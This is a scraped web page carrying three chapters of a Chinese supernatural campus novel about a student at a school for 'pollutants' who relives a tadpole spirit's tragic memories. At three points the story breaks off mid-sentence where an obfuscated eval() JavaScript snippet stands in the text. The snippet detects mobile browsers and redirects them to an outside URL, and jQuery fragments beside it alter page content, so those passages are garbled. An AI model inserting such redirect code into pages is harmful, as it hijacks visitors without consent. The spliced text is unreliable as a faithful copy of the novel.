拼拼凑凑,大约是人短暂的一生。 活师老祖道:“感谢你告诉我这些。其实,我并没有生前的记忆。” 喻连枝轻轻皱眉,什么意思? 活师老祖讽刺地笑了,“所以我对其他自己没有任何感情,我以自己为食。” 话音刚落,暗河水势暴涨,黏稠的水化作猛兽冲过来。 “等等,别冲动……” 怎么不按套路出牌?! 小说里,一般揭秘真相后boss就会放下执念,然后潇洒死去才对啊! 喻连枝被粘液裹挟着往活师老祖的方向推动,离它的深渊巨口越来越近。 毫无疑问,他要葬身蝌蚪之腹了,若干天后变成一堆蛙卵从老祖屁股后面拉出来。 他毫无反抗之力,顺水进入蝌蚪的嘴里,体验感特别像是走进游乐园那种把门头设置成嘴巴的鬼屋。如果鬼屋把恶魔的嘴换成蝌蚪的嘴,或许会更加猎奇。 喻连枝屏住呼吸,在坠入活师老祖的胃囊的一瞬间还是没憋住,闻到了一股尸体腐烂后的酸臭。 一片漆黑,不知道有什么,整个人在某种液体里沉沉浮浮,被侵蚀、被分解……然后失去了意识。 …… …… …… “地球公转的地理意义是,正午太阳高度的变化,昼夜长短的变化,四季更替,请同学们在书上做好标记。” 什么声音? “翻到一百二十五页,划第一段,高考必考的内容……” 烧烤? 喻连枝迷迷糊糊地抬起头,揉了揉眼睛,看到黑板上写的倒计时一百天,吓得差点坐到地上。 高考?! 天杀的,我不是已经上名校了吗? 果然捡漏上普鲁圣什么的是不存在的么,喻连枝绝望地翻开书,拿起笔划知识点。 不对,这不是他的手。 握着笔的右手黝黑粗糙,桌面上用黑色水笔写着什么拉斐尔、米开朗基罗,再一抬头,教室里没用装多媒体,只有一块古董黑板,老师口音很重,时不时冒出点边际省方言。 边际省是贫困省,教育资源差,但是这个教室一人一桌,光线亮堂,说明在本地已经是很好的学校了。 喻连枝翻到书本封面,写着“文森特.威廉.梵高”两个字。 这是活师老祖……或者说,蝌蚪精时期。 他还没从震惊中缓过神来,门口突然出现了一道急匆匆的身影,秃头的教导主任用方言喊了一个名字。 喻连枝左顾右盼,然后发现“自己”站了起来。 原来如此,他控制不了这具身体,只是用第一人称的视角体验。 场景切换到办公室内,周围又出现了几个人,叽叽喳喳地说着什么。 喻连枝费劲地听到了关键词——父亲昨夜病死了,母亲在家里放了一把火,随之而去。 一夜间成了孤儿,还好国家和学校愿意出钱供他高考,也提供了暂时的住所。 他适应着这具身体,又到了高考的那一天。 喻连枝再次坐进考场,却一个字也写不出来,他眼睁睁看着自己咬破手指,用梵高《星月夜》的笔触,在试卷上画了一场大火。 奇怪的是,这一刹那寂静无声,他仿佛和“蝌蚪精”思想同频了——他的父母不是死于意外,是被人所害,而那个杀人凶手也不会放过他。 他发疯了似的见人就说救命,可惜没人相信,调查结果就是母亲放的火。 求救的火焰被无情踩踏熄灭,心灰意冷,喻连枝躲回住所,腕上的血色触目惊心,血流了几分钟就凝固了,没死成。他带着伤痛走遍了戳子镇,选定了一个荒凉的山坡。 他把从前打穿越火线的电脑卖了,用所有的钱请人造墓,安葬父母,然后孤身一人离开了边际省。 接下来是工人的视角。 一个高中毕业、且普通话说得磕磕巴巴的外地人是无法在大城市找到轻松工作的。屡屡碰壁,被别人嘲笑打压后,喻连枝只能选择搬砖,当扛楼工。 搬砖日子可真难捱,虽然身体不是他的,但力气却要他实打实地出。 这个奇怪“回忆杀”里,时间如同做梦般忽快忽慢,通常夜晚刚躺下,下一秒又得起来爬楼。 感觉自己比生产队的驴还惨。 喻连枝愈发绝望,但“工人”愈发有希望,到手的钱越来越多,他能在大城市一个人活下去,不被那个杀人凶手发现。 不知道过了多久,这天喻连枝是被胃部痛醒的,去了医院后,他确诊了胃癌。 神灵真是爱和人开玩笑,他彻底被击倒了,沉浸在痛苦里,每天暴饮暴食,成了一坨烂肉。 他拖着臃肿的身体回到边际省戳子镇,父母已经下葬了。 那天他在父母的墓前哭了很久很久,胃部像是被人用针反复扎穿,变成一只漏气的气球。 边际省有句谚语:人活着是为了死,这话一点也没错。 喻连枝决定给自己也造一个墓,里面要放满铜钱币,死后可以潇洒快活。可惜手上的积蓄不够多,他腆着脸和以前的同学老师借钱,墓室总算开始动工了。 很快,因为疾病,他再也吃不下东西,从烂肉变成一把干瘪的骨头。 他成了甬道中的那个男子。 钱都被拿去修墓了,他时常缺衣少食,以止痛药为生。买不起药时,就去别人的墓里偷墓葬品拿去卖。 很让人不耻的行为,但喻连枝没有办法。 最终的一天,他看到荒野上一个隆起的小山丘,是个新墓。 建得可真漂亮,一块块血红色的砖石严丝合缝地叠着,像一片闪亮的火海。 盗墓贼是不从正门进墓的,他也没这胆子,就从旁边找了个洞,拿着铁锹往里面钻。 这条洞道潮湿狭窄,按照他的经验来看,另一头有风,也有水声,爬过这一段就进墓室了。 但他忘了,他吞食了大量止痛药,根本无法准确思考。 等喻连枝从止疼药的麻痹中清醒过来时,发现自己犯了一个致命错误,他近乎垂直地卡在一个无法调转方向的甬道里。 更糟糕的是,他想起来自己要盗的这个墓不是别人的,而是自己的、那个尚未竣工的墓。 不会有人来这边,也不会有人能听到他的求救。 过去很久很久,喻连枝哭了,他不知道是自己在哭,还是这个男人在哭,他骑着白驹过隙,有点分不清楚了。 他在心里和爸爸妈妈、亲朋好友一一告别,虽然不知道改以谁的身份。 时间在泥土里流失,滴滴答答地往下落,濒死之际他看到了一只青蛙,也有可能不是青蛙,但他听到了类似的声音。 下雨了。 外面下雨了。 他伸出舌头舔舐掉下来的雨水,那只东西往他嘴里钻,咕咕声震耳欲聋。 是一只正在产卵青蛙,他想。 那些晶莹剔透的小珠子顺着食道往下滑,他太饿了,拼命地吞咽,蛙卵充斥着腹部,冰冰凉凉的。 他看到自己的身躯在膨胀,皮肤渗出黏液,双腿退化,合并成一条黑色的尾巴。 他彻底忘了自己是谁。 我是谁呢? …… 哦对了,我是活师。 — “走,我的兔子说看到连理枝了。”涂乐意踢了踢史钟。 “那……鹰隼人咋办啊?” 周瑛乖乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622963|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地蹲在地上,双眼差点被戳瞎。打架时涂乐意硬生生掰开他的眼皮,兔眼眶里的血刚好滴进鹰眼里。 这傻样,估计得gay一周了。 “你在这呆着,哪也不准去。”涂乐意命令道。 周瑛点点头,“我爱你。” 涂乐意顺着兔子的方位找去,史钟屁颠颠跟在身后,一大块绿色的史莱姆蹦蹦跳跳。 兜兜转转,回到了原地。 “又是这里?”史钟忐忑地问。 涂乐意看他一眼,“这回你先跳,别再把我踹到那边去。” “噢噢。” 史钟收起异化形态,变回人形跳了进去。这次的洞没有那么顺滑,反而七弯八拐,扭曲至极。 像肠子,好吃的铁板鸭肠。 两人落在黑色球体上,这里已经恢复平静,暗渠水波荡漾。 “我的兔子说他从这里进去了。”涂乐意淌过去,拍了拍活师老祖,“张嘴。” 活师老祖警惕地看着他们。 史钟感受了一会儿,不解地摸了摸后脑勺,“奇怪,它不是污染物本体,只是个伴生物?” “没有污染物的污染领域?不可能,污染物一定是躲起来了。”涂乐意放出自己的污染领域,再次威胁道,“张嘴。” 两个一级污染物。 活师老祖不敢犹豫,张开嘴巴让他们进入自己的胃里。 他们在里面找到了要找的人,可那人居然又在呼呼大睡! “连理枝?” 喻连枝睫毛微颤,发现自己飘在暗渠中。 他不是一只蝌蚪吗? 现在是在哪? 史钟钦佩道:“好厉害啊,高手都喜欢在考场上睡觉,随地大小睡。” 涂乐意扬起一个天真烂漫的笑脸,“你还好吧,总算找到你了啦!” 喻连枝银白色的瞳孔里透着陌生。 空间能见度很低,可以看见满腔的烂泥,由破碎的蛙卵组成。 手上沾满了这种东西,感觉像是泥巴,又像烂肉…… 想起来了,他在活师老祖的腹中。 不是活师,可能……也不是喻连枝。 另一个断断续续的声音从深处传来,“救……救救我……救……” 那人竟然还活着。喻连枝深一脚浅一脚循声走去。 青年躺在烂泥里,陷在胃液里的部分已经化为集群的蛙卵,只剩下半颗头。 “我……是不是……快死了?”他问。 喻连枝垂眸看他,表情冷寂,“你已经死了。” “那我……为什么……还这么……痛苦?” 是啊,喻连枝记起自己在“回忆”里的体验。 活着都那么痛苦了,为什么死后也无法结束。 所以,墓室里所有生物并不只是为了“墓主人”这个身份,它们是想杀死对方,也想杀死自己。 他的指尖溢出一种银白色荧光浮游生物,层层叠叠,如同蝶翼般悬浮,照亮了污秽黑暗的活师胃囊。 “结束了。”他说。 涂乐意和史钟对视一眼,他们总算亲眼见到了【连理枝】的伴生物。 这些浮游生物照得整个空间亮如白昼,光线是一把刀,由内而外切割黑暗。 喻连枝抬起手,浮游生物随他而动,疯狂地聚集在一起。所到之地,一切都消失了,只剩下明净的纯白。 但是,这些伴生物怎么敌我不分啊! 涂乐意脸色骤变,拉着史钟就跑,“他疯了!他要把我们都吞了吗?!” “失控了?”史钟吓得变成一团史莱姆连滚带爬,“没有展开污染领域,没有感受到污染等级,他到底是什么东西啊啊啊啊……” 无数银色光点朝他们追来,这群看似漂亮脆弱的小东西聚集在一起就像是野狗,能把他俩吃得骨头都不剩。 速度太快了,根本跑不掉。 下一秒,一阵咸湿的风袭来,银白色被逼了回去。 一览无遗的纯白里,悄然生出黑色的阴影,未知的活物藏在阴影之下,伺机而动。 涂乐意和史钟根本不敢回头看,只能变成异变体,拼了命地往前跑。 等跑出活师园,他俩心有余悸地往回望,发现一个诡异的黑色污染领域将所有同学都传送出来,然后强势地笼罩住整个活师园,隔绝所有视线。 他感受不到【连理枝】了,只有这个如同地狱的另一个神秘污染物领域。 涂乐意牙齿直打颤,又往远处跑了一段。 “这是……3级污染物。” 11. 第十一章 天堂之中,地狱在悄然生长。 周身没有人,但却有什么湿冷的东西从脚腕攀到肩头,阴影中不可名状的恐怖像石油一样流淌,吃掉光亮,不祥的黑暗很快吞噬了整个空间。 这些诡谲怪诞的暗色有如阳光般刺眼尖锐,喻连枝忍不住偏头眯起眼睛,眼里的银白色缩回瞳孔,安静地躺着了。 嘶,辣眼。 喻连枝感觉自己在挂机。 上一秒,他的思绪忽然飘到别的地方,像是上课时短暂的走神;下一秒意识回笼,身体在他不在的时候干了点事情。 这种感觉很奇妙,如果是在游戏里,就是被AI托管了。他控制不住自己摆出日天日服日空气的表情,一些发光的东西从自己体内飘出来。 但他同时又感受到愤怒,平静如水的愤怒。 好像有很多很多腐烂的组织摆在面前,他必须把滋生细菌的地方切除干净。 他做到了。 活师老祖、不、整个墓园开始轰塌,分解成一颗一颗的青蛙卵,铺天盖地下落,如同一场黏腻的倾盆大雨。 但突如其来的黑色具有毁灭级的力量,白色光点渐渐消失。 地上蜿蜒起伏的黑色东西是什么?蛇?没有突刺的荆棘?还是扭结的淌着墨汁的血管? 喻连枝只匆匆看了一眼,盯着这些东西令他浑身颤栗,感到恶心。 没了白色浮游生物的庇护,透明蛙卵一颗颗往下落,险些掉到脑袋上。 喻连枝重新接管身体,想找地方避雨,但眨眼之间,蛙卵也消失了。 死一般的寂静。 环顾四周,这里确实是一个墓,很小很小的墓,两室一厅,环境逼仄了许多。他猛然从抽象的维度中抽离出来,此刻正站在其中一个墓室里。 “有人吗?班长?史钟?” 大家都去哪了? 喻连枝边往外走边呼喊,声音在墓室里回荡,忽然看到前方长廊有个背影,急匆匆跑过去,搭上那人的肩,情真意切地喊了声“兄弟”。 “兄弟”转过身,喻连枝的笑容僵在脸上。 符停冷冷地注视着他,不语。 喻连枝搓搓手,干笑两声,“您怎么在这啊?这里多不安全。” “我收到无辜同学的求救,”符停比他高半个头,垂着眼,无情地审判道,“亲眼目睹你肆无忌惮、霸凌同学的现场。” “……” 喻连枝反应了半晌,指着自己,目瞪口呆,“你说,我吗?” “严重违反校规条例,学生会给予你关禁闭室三天的惩罚。” “粽子也算同学?” 喻连枝此刻的脑子宛如灌了浆糊,愣愣地问了一句。 不对。 这个走向不对。 他低头看向自己的手,好不容易接受了自己有超能力的事情,不应该朝着天空大喊一句“我不做人啦”然后被国家保护起来,摇身一变热血番金手指男主角,时不时穿上披风拯救全人类吗? 符停:“还不认错?” 喻连枝语气沉了八度,“错的不是我,是这个世界。” “禁闭室五天。” “……等等,我开玩笑的。” 符停从裤子口袋里拿出处罚单,又从胸前口袋里抽出笔,原地就开始写。 “清汤大老爷!”喻连枝急得快跪下了,一想到自己刚逃出鬼门关,现在还要被扣霸凌的屎盆子,委屈地泪花直飙,“真……真冤枉我了……” 符停手中的笔停下。 “你都不知道这里发生了多恐怖的事,我产生了幻觉,看到粽子都活了,被那么大的蝌蚪追着跑,然后又莫名其妙搬了砖,最后惨死在狭窄的洞道里……” 喻连枝倒豆子似的倾泻而出,眼尾湿漉漉的,睫毛可怜地耷拉着,一副被吓惨了的样子。 这种表情在他脸上不显娇弱,反而有种小兽般的倔强。他握紧拳头,用尽力气抑制喉间破碎的呜咽,一遍遍述说自己的遭遇。 符停递过处罚单,“我没空看你演戏。” “我没演……” “装可怜无法打动任何人,”他语调冷得像机器,“按时领罚。” “可我说的都是真的!” 符停抬腿离去。 作为管理污染物的学生会会长,在污染物学院里,这种卑劣的手段他见得多了,博取同情就能避免受罚?不可能。 喻连枝拿着处罚单擦眼睛,在别人面前情绪崩溃后又有些羞耻,悲伤马上转为咬牙切齿。 他愤恨地盯着符停的背影,如果目光有杀伤力,早就戳出个血窟窿了。 霸凌同学? 好好好。 分明是因为上次推桌子的意外记恨上他了吧,明目张胆地给他穿小鞋!这梁子算是结下了,要是真服软去什么狗屁禁闭室,他就是狗! 手机震了一下,收到了消息。 喻连枝拿起来一看,通上网了,先前发给爸妈的消息这才发出去。 陈女士关切地回:“怎么不开心了?” 喻先生按照惯例发了个红包。 喻连枝又要委屈了,跑出活师园,找了个僻静的大树下,蹲着回消息。 【帘子】:没事老妈,就是我好像不是人…… 犹豫了一下,他把后面都删了,就发了“没事老妈”四个字。 要是她知道自己养了十八年的孩子是个怪物,肯定接受不了,而且再生二胎也来不及了。 陈女士:是不是考试没考好? 喻连枝发了个哭哭的表情:是。 陈女士:没关系!学校的边角料,妈妈的小骄傲! 喻连枝:…… 倒也不用这么骂人。 新发的消息来自【灾厄】,还是很简单的三个字:已解决。 也不知道解决了什么,可能是帮忙上报学校了吧。 【帘子】:没事了,我报个平安 至少现在从全是蝌蚪的墓里出来了,喻连枝脑子还是乱乱的,感觉自己应该再接受一下唯物主义思想的洗礼。 他叹了一口气,准备起身回寝室,殊不知大树后无声站着一个人。 “哭完了?” 喻连枝吓了一跳,“谁?” 一个漂亮大姐姐从树后面走出来,她穿着蕾丝边纯白上衣,黑色高腰长裤,侧马尾搭在胸前,眉眼温柔,柳眉弯曲,嘴角含着一抹浅笑,盈盈如同春风拂面。 沈青的身上带着一股咖啡和牛奶的味道,“你好,小学弟。” 喻连枝尴尬得手足无措,“你、你好。” “被会长骂哭了?” “没啊,都是汗,太热了,三十八度的天。”他努力辩解。 沈青笑了笑,“跟我走,带你去个凉快的地方。” 喻连枝瞪大眼睛,“什么地方?” 他长得是不错,从小到大上学收过不少情书,在大家都情窦初开的年纪,董大冬评论他蠢得像木头,脑子里全被弱智游戏塞满了,愣是一个女生的影子都没有。现在刚进大学校园,就有学姐邀请他、他、他还没有做好谈恋爱的准备啊! “我回寝室有点事,新赛季开始了……” 沈青不逗他了,道:“恐怕推脱不了哦。我是学生会秘书处沈青,院长有事找你。” 院长,就是那个叫玛丽亚.E的人机。 喻连枝想起来了,心落回肚子里,放松了些,“晚上再上分也行。” 他跟着漂亮学姐走到办公楼,院长的地盘就是气派,位于学校环境最优美的地带,一个白金色环形建筑。 环形建筑向内修建了四条空中长廊,院长办公室就在环形最中心的靶点里,一个凌空的正方形屋子。 喻连枝啧啧赞叹,“科幻大片。” 沈青道:“你可以直接称呼院长为EE,祂很随和的。” 姨姨?人工智能还有性别啊? 沈青把他一个人留在屋子里,贴心地带上了门。 下一瞬屏幕亮起,科技蓝光闪烁,足足一百八十块屏幕同时浮现出一张机器人脸。 玛丽亚.E逆着蓝光,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622964|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清具体的样子,眼球中滑过数据代码的痕迹。 “喻连枝,学号20250006,记录名称未知。很高兴又见面了,喻同学。” “您好,姨姨导员。”喻连枝老实地站着,面对老师总有种刻入DNA的局促感。 玛丽亚.E颇具人情味地关怀道:“在学校感觉怎么样?和同学相处如何?” 他哪敢对着导员吐槽,恭维地说:“我感觉挺好的,学校一切都很好。” “不用害怕,但说无妨。” 什么意思?诈他的话吗?他可不是天真无邪的小孩子了! “没,都是发自内心的实话。门卫好,军训好,开学测试更好,跟普通的都不一样,体验非常新奇。同学们都玩得来,舍友也很友爱,还有学生会,尤其是会长,正直,善良,为了同学们兢兢业业呕心沥血……” “根据微表情检测,你在说到学生会会长时,不满的情绪达到巅峰,你不喜欢他?” 喻连枝嘴角抽搐,失去所有力气和手段。 玛丽亚.E又说:“后台显示,你被符停罚了两次,第二次被罚关禁闭室。” “是……但我没犯错。” “我知道。”院长的话如同一束阳光驱散阴霾,“我会为你撤销惩罚。毕竟,和污染物生活在一起,难免有些不适应,我能理解。” 姨姨,你是我亲姨。 喻连枝沉冤得雪,苦尽甘来,眼睛都亮了,“谢谢院长!” “不客气。”玛丽亚.E中规中矩的回答透着浓浓的非人感,“你处理了【活师】,这是应得的奖赏。” “处理?” “是的。学院一直很头疼如何处置他,没有扩张吞噬的倾向,也没有人的意识。他属于中间值,污染物中的‘混乱体’。” 喻连枝应付地点头,“他应该只是精神分裂。” “【活师】甚至连污染物本体都没有。也只有你能清除【活师】的痛苦。” 话题走向突然变得魔幻。 喻连枝愣住,忽然意识到对方知道自己的超能力,甚至比他自己更了解。 “你痛苦吗?”院长忽然问。 痛苦?当然不了。他是个乐子人啊,一辈子顺风顺水,还捡漏上学,痛苦什么? 喻连枝摇了摇头。 “是啊,因为你并非污染物。”玛丽亚.E道:“你是污染物的救赎之光!” 怎么还燃起来了?! 中二到头皮发麻! “不是,我不是吧?我什么都不知道啊?” — 喻连枝迷茫地离开办公室。 救赎之光,开什么国际玩笑,这种中二的东西怎么落到他头上了,他又不是美国队长。 总之,他后知后觉,污染物学院里就没有正常人,所有同学,包括人机院长,可能都是某种妖怪。 说是鬼怪更合适,因为只有死人才能当污染物。 经历的一切都是真的,不是幻想,不是做梦,但也无法逃离了。怎么逃离,只有退学一条路,再去读一遍高三,那不可能,还不如死了蒜了。 喻连枝轻轻捻了捻手指,一个小时前,指尖还在发光。 选错专业而已,没关系,振作起来喻小葵!短短四年,等毕了业拿到证书,还是一条好汉。 他在心里给自己加油打气,努力想象自己是个正常人类。 回到寝室,刚好碰上薄空朦和杜影学长准备出门。 喻连枝问了一句,“你们去哪儿?” 薄空朦也不知道用的什么洗发水,瀑布似的垂在脸颊两边,黑发如瀑具象化了。 “学生会开会,商讨招新事宜。” “招新?学长你们都是学生会的?” “没错。” 喻连枝正准备关门时,一双鬼气横生的黑眼定定地看着他,薄空朦轻挑眉梢,红唇弯起,“你要是想加入学生会,报我的记录名称,【朦胧见】,可以走后门。” “我……” “很期待和你同部门呢,连理枝。” 12. 第十二章 据史钟说,污院学生会的招新活动会持续很长一段时间,每个人都要经过考核,才配成为高人一等的学生会成员。 喻连枝问他想不想加入。 史钟说还是算了,他异变状态不稳定,没那个资格。 想起来了,对方疑似一坨绿色的史莱姆,用各种胶浆配置硼砂水混合而成的果冻状解压玩具,这让他每次看到史钟的时候都忍不住手痒。 或许是他想搓圆捏扁的意图太明显,史钟找了个借口跑开,和另一个“眼球同学”讲话去了。 喻连枝孤零零地坐着玩手机,班长涂乐意抱着一叠登记单坐在旁边。 “复查考试结果出了啦,你看了没有?” 喻连枝出生入死好容易捡回一条小命,这几天忙着研究玄学,一副云淡风轻的模样,“成绩什么的都无所谓,命里有时终须有,命里无时莫强求。” “你真的很淡定吼。” 涂乐意把手机递过来,第一名赫然写着[喻连枝 98.8分],紧跟在下面的是[涂乐意 95.3分]和[史钟 95.1分] 这真是出乎意料。 “98.8?这分谁打的,他是说我有一点二吗?” 涂乐意笑着说,“连枝呐,张口就是吐槽呀?98.8可是污院有史以来最高的分数了啦,上一个最高记录是薄空朦学长,98.6分。” 喻连枝在应试教育中从来没拿过前三,没想到在斩妖除魔中当了次第一。 那句话怎么说来着:会当凌绝顶,一览众山小。 爽。 爽得足以让他暂时忘记自己经历了什么。 飘飘然三秒钟,他反应过来,“什么,薄空朦学长?他这么厉害,我室友啊!” 涂乐意脸色一变,“什莫?你在158寝室?!” 喻连枝点点头。 “真让人家……羡、慕。”涂乐意嫉妒得面目全非,眼眶向下凹了一瞬,差点沁出汩汩浓血,他转过脸很快控制住,“寝室里全是大佬诶,运气真好。薄空朦学长是人家的偶像!” “确实很有型。”喻连枝道,“头发长长的,嘴红红的,要是半夜在走廊遇见,我得被吓死,不过还好他经常和杜影学长走在一起……” “不许提别家!”涂乐意竖着眉毛,正色道:“我是【朦胧见】的毒唯粉。” 喻连枝:…… “你这种情况多久了?” “人家高中的时候就见过他了。”涂乐意站起来,抽了一张登记单子,“算了,你根本不懂!这是保险,你看不看。” 喻连枝哦了一声,“什么保险?人寿保险吗?” “嗯……差不多吧。” “那给我一张。”喻连枝接过保险单,低头看了一眼就石化了。 人、人外保险? 一字之差,天壤之别,中华文化真是博大精深。 彻底被踢出“人类”范畴的喻连枝把保险单折好,放进裤子口袋里。 今天是军训的最后一天,有军训总结和汇报表演的内容。 由于只有一个方阵,操场上空空荡荡,主席台上立着一块大屏幕,是院长玛丽亚.E的位置,旁边的阶梯上坐了不少来看热闹的学长们,还有几个熟面孔。 学生会会长符停今天穿了一件PRADA的黑色衬衫,袖子卷起,手臂线条性感流畅。面部轮廓弧线锋锐,深邃的眉眼迎着阳光,压出疏离淡漠的黑影,把更加冰冷的目光藏于其中。 他面无表情地走上主席台,宣布了“2025年秋季军训会操表演现在开始”,下面的喧嚣顿时冻成冰块。 现学院里等级最高的污染物,也是最神秘的。无人知晓符停的记录名称,也无人目睹他的异变体,污染领域展开时,昏天暗地,百鬼齐哭,据说污染物一进去就会灰飞烟灭。 他也不喜欢被人讨论和触碰,久而久之,学院里提及“符停”两个字时,往往会用“面瘫”二字代替。 喻连枝一想到等会儿要发生什么,默默地把帽檐拉低。 方队进场,李灼在旁边喊口号,展示了基础动作后,劲爆的音乐响起。 所有同学以喻连枝为中心聚拢,弯下腰,手持飘扬纱布,如血液般鲜红的布料一层层遮住他,整个方阵如同一朵含苞待放的野玫瑰。 身边传来异变时劈里啪啦的声音,喻连枝已经不害怕了,羞耻地低下头。 音乐达到高潮,“玫瑰”绽放,一个个异变体旋转着、踢着芭蕾舞步散开。 好一些的,【鹰隼人】或者是【兔儿神】,完美地控制了异变程度,人的身体上嫁接了一颗异变脑袋。 差一些的,【史莱姆】过于激动,全身都变成了一滩黏液,他抓着溜走的衣服,绿色的本体羞成了红色。 观看席上,花亦骨举起手机,给出任务的好友拍了张照:“你弟。” 对方回了句语音:“你弟也不怎么样,我记得去年花添错把隔壁小同学吃了吧,然后含着走完了全程。” 两个“哥哥”又相互嘲笑了一下对方的弟弟,然后开始赌谁的弟弟更丢脸。 “玫瑰”完全绽开,露出里面的“花蕊”——喻连枝跟着别人摇花手,恨不得在地上找条缝钻进去。 所有人都有异变体,就他没有。 练习的时候他也不是没有努力过,可能是没天赋吧,再怎么样都只能做成鬼脸。 一群异变中,一张白皙的人脸格外显眼。 观众们难免想到了另一个人,目光飘忽向主席台上的符停。 “面瘫”后继有人了,又来一个神秘的死装哥。 音乐结束,一队的污染物踢着正步离开,场面惊悚中带着点二。 大会第二项,李灼代表教官上去发言……虽然本来就只有一个教官。 李灼从网上现找了一篇棒读,反正他有头盔和面罩,遮得严严实实,划起水来脸不红心不跳。 通篇毫无波澜的语调在结尾时抑扬顿挫。 “……最后祝同学们学习进步万事如意,哦对了,我的‘灼光甜品店’在食堂一楼正式开业,欢迎同学们前去品尝,谢谢!” 夹带私货啊。 喻连枝难以想象一个胸肌大到爆炸的硬汉掐着裱花袋的场景,不过还是很乐意去捧个场的。 当然不是因为嘴馋! 大会最后一项,符停作为代表进行总结。 喻连枝听到他的声音就来气,左右看了看,大家都崇拜地抬着头,没人能听自己吐槽。 思来想去,只有一个好兄弟善于倾听。 于是他摸出手机,悄悄给【灾厄】打字。 【帘子】:哥们你在操场吗? 对方似乎在忙,没回。 【帘子】:好饿好累,还见到死敌了。 【帘子】:他代表发言呢?我笑了,他能代表个球! 【帘子】:一张嘴叭叭的,他家住敦煌啊壁画那么多~ …… 喻连枝骂了十几条,意犹未尽。 大会总算结束了,他跟着同学往外走,猝不及防被人从后面勾住脖子。 “唉我c……” 花添错神采飞扬,“找到你啦!你们这届表演得不错啊!” 喻连枝在“狂犬病门卫”一战中和花添错建立起了深厚的友谊,毕竟是开学认识的第一个人。 “我看你朋友圈,不是说受伤了吗?怎么这么有精神?” 花添错撑了个懒腰,咧嘴笑,一排牙齿又白又尖,“我这体格躺几天就好了,倒是你,几天不见出名了,校园集市论坛好几个帖子都是你名字啊连理枝。” 喻连枝昨天才弄明白,连理枝是同学给取他的代号,每个污染物都有代号。 “校园论坛怎么进,能拉我进去吗?不会都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622965|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是骂我的吧?” 花添错想了想。 就在五分钟前,一则名为【连理枝,他装完了吗?】的匿名帖子被顶到最上端。 “……也不全是骂。你知道的,符停的毒唯粉挺能撕的,他们觉得你在模仿符停。” “够了,”喻连枝收起手机,“我心疼自己,不进了。” “那些人确实戾气很重。” “无所谓,”喻连枝摇头晃脑,“不去攀不去比,不拿sb气自己。” 花添错投去欣赏的眼神,“好狂啊,你要升多少级了?” “什么等级?” 王者荣耀无双王者二十星,第五人格巅峰七阶监管者,原神等级六十级,战绩可查,说的哪个? 喻连枝思考了会儿,觉得应该在说成绩。他高考英语140,他很有信心在第一年就拿下四级证书。 “今年一定四级,明年六级。” “大佬!”花添错抱住他的大腿,“二级污染物花添错,记录名称【齿花】,认你当哥!” 哦,原来污染物还有等级。 喻连枝又学了个新的知识点,刚想解释,就被激动的花添错打断了。 “大哥在上,受小弟一拜!” 对方是大二的学生,让学长叫自己哥肯定是不行的。 “不不不,我认学长当哥。”喻连枝赶紧也弯下腰。 推脱之后决定各喊各的。花添错喊喻连枝“弟哥”,喻连枝喊花添错“哥弟”。 很合理,没毛病。 两人走到食堂,一楼的“灼光甜品店”人满为患,东西居然瞬间售罄了。 喻连枝叹气,今日无缘小蛋糕。 他环视一圈,一楼没什么想吃的,于是往二楼走,顺便问问大二学长有什么推荐。 “有……”喻连枝开口,余光看到身后冒出个眼熟的身影,他在心里冷哼了一声,翻了个白眼忽视了对方。 花添错:“有啥?” 喻连枝说:“啥必吃的窗口。” 花添错懵了一下,反问:“啥必……一般喜欢吃什么?” 喻连枝反应过来对方听错了,忍不住乐了,故意道:“你喜欢吃什么?” “骨肉食堂。” “啥必喜欢吃骨肉食堂。” “……” 正要上三楼的符停脚步一顿,硬是拐进了二楼。 “烂梗!”花添错也反应过来,憋着笑揍他,“这梗也太烂了,滚滚滚。” 两人美美吃了一顿烤肉饭,喻连枝擦嘴时,意外看到符停坐在角落,面前堆满了速溶咖啡大小的彩色包装袋。 草莓味的、橘子味的、菠萝味的…… 咦,多大的人了,还爱喝小甜水呢。 — 符停静静地坐着,他一口气喝完了所有抑制剂,但没什么用,还是要竭力抑制喷薄而出的黑气。 喻连枝。 第一回,被他抓到欺负门卫,故意给他送了“甜甜辣辣章鱼足”; 第二回,被他惩罚写检讨时掀桌子,并且假装无意碰到了他的脚; 第三回,被他惩罚关禁闭室,现在居然敢当着面阴阳他是傻逼? 事不过三。 喻连枝。 很好。 很好。 很好。 衣领之下,诡异的触手贴着肌肤蠕动,符停将不安分的触手压回去,深呼吸,拿出手机转移注意力。 【帘子】问自己是不是在操场。 居然……这么关心自己? 符停感觉平静了些,往下看,眉头微微皱起—— 他不喜欢【灼光】? 深思熟虑后,符停切换到任务界面,把【灼光】的名字加上去了。 五分钟后,李灼拿着刮刀走上来,骷髅面罩上沾着面粉。 